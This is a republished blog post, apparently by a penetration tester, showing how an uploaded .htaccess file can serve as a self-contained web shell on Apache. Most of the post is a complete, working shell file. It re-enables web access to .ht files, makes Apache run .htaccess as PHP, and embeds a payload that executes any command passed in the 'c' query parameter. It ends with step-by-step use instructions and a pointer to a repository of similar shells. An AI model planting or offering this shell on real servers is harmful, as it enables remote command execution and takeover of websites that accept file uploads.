ATTACKING WEBSERVERS VIA .HTACCESS

简介: A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory.
A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc). 

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

01 # Self contained .htaccess web shell - Part of the htshell project
02 # Written by Wireghoul - http://www.justanotherhacker.com
03  
04 # Override default deny rule to make .htaccess file accessible over web
05 <Files ~ "^\.ht">
06 Order allow,deny
07 Allow from all
08 </Files>
09  
10 # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
11 # the apache directoves from the .htaccess file
12 AddType application/x-httpd-php .htaccess
13  
14 ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github  htshells  repository.

Update:  Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the  project page .
目录
相关文章
|
6月前
|
SQL 安全 PHP
DVWA File Inclusion 通关解析
DVWA File Inclusion 通关解析
|
8月前
|
SQL 数据安全/隐私保护
[dvwa] Brute Force
[dvwa] Brute Force
|
8月前
|
安全 PHP
解决pcntl_fork() has been disabled for security reasons in file /www/wwwroot/192.168.21.2/vendor/wor
解决pcntl_fork() has been disabled for security reasons in file /www/wwwroot/192.168.21.2/vendor/wor
243 0
解决pcntl_fork() has been disabled for security reasons in file /www/wwwroot/192.168.21.2/vendor/wor
OBIEE Pentest
https://www.integrigy.com/files/Integrigy_OBIEE_Security_Top_Ten.
1279 0
|
Web App开发 PHP 索引
|
Web App开发 PHP 索引
|
网络安全
Protect Your Website: How to Avoid SMS Traffic Flooding Attacks
Business is taking off. You are hiring new people, expanding your customer base and you have just bought a new work van to handle the recent spike in
2517 0
|
Linux Windows Apache
.htaccess是什么?.htaccess几个简单应用
.htaccess是什么? .htaccess叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。
2166 0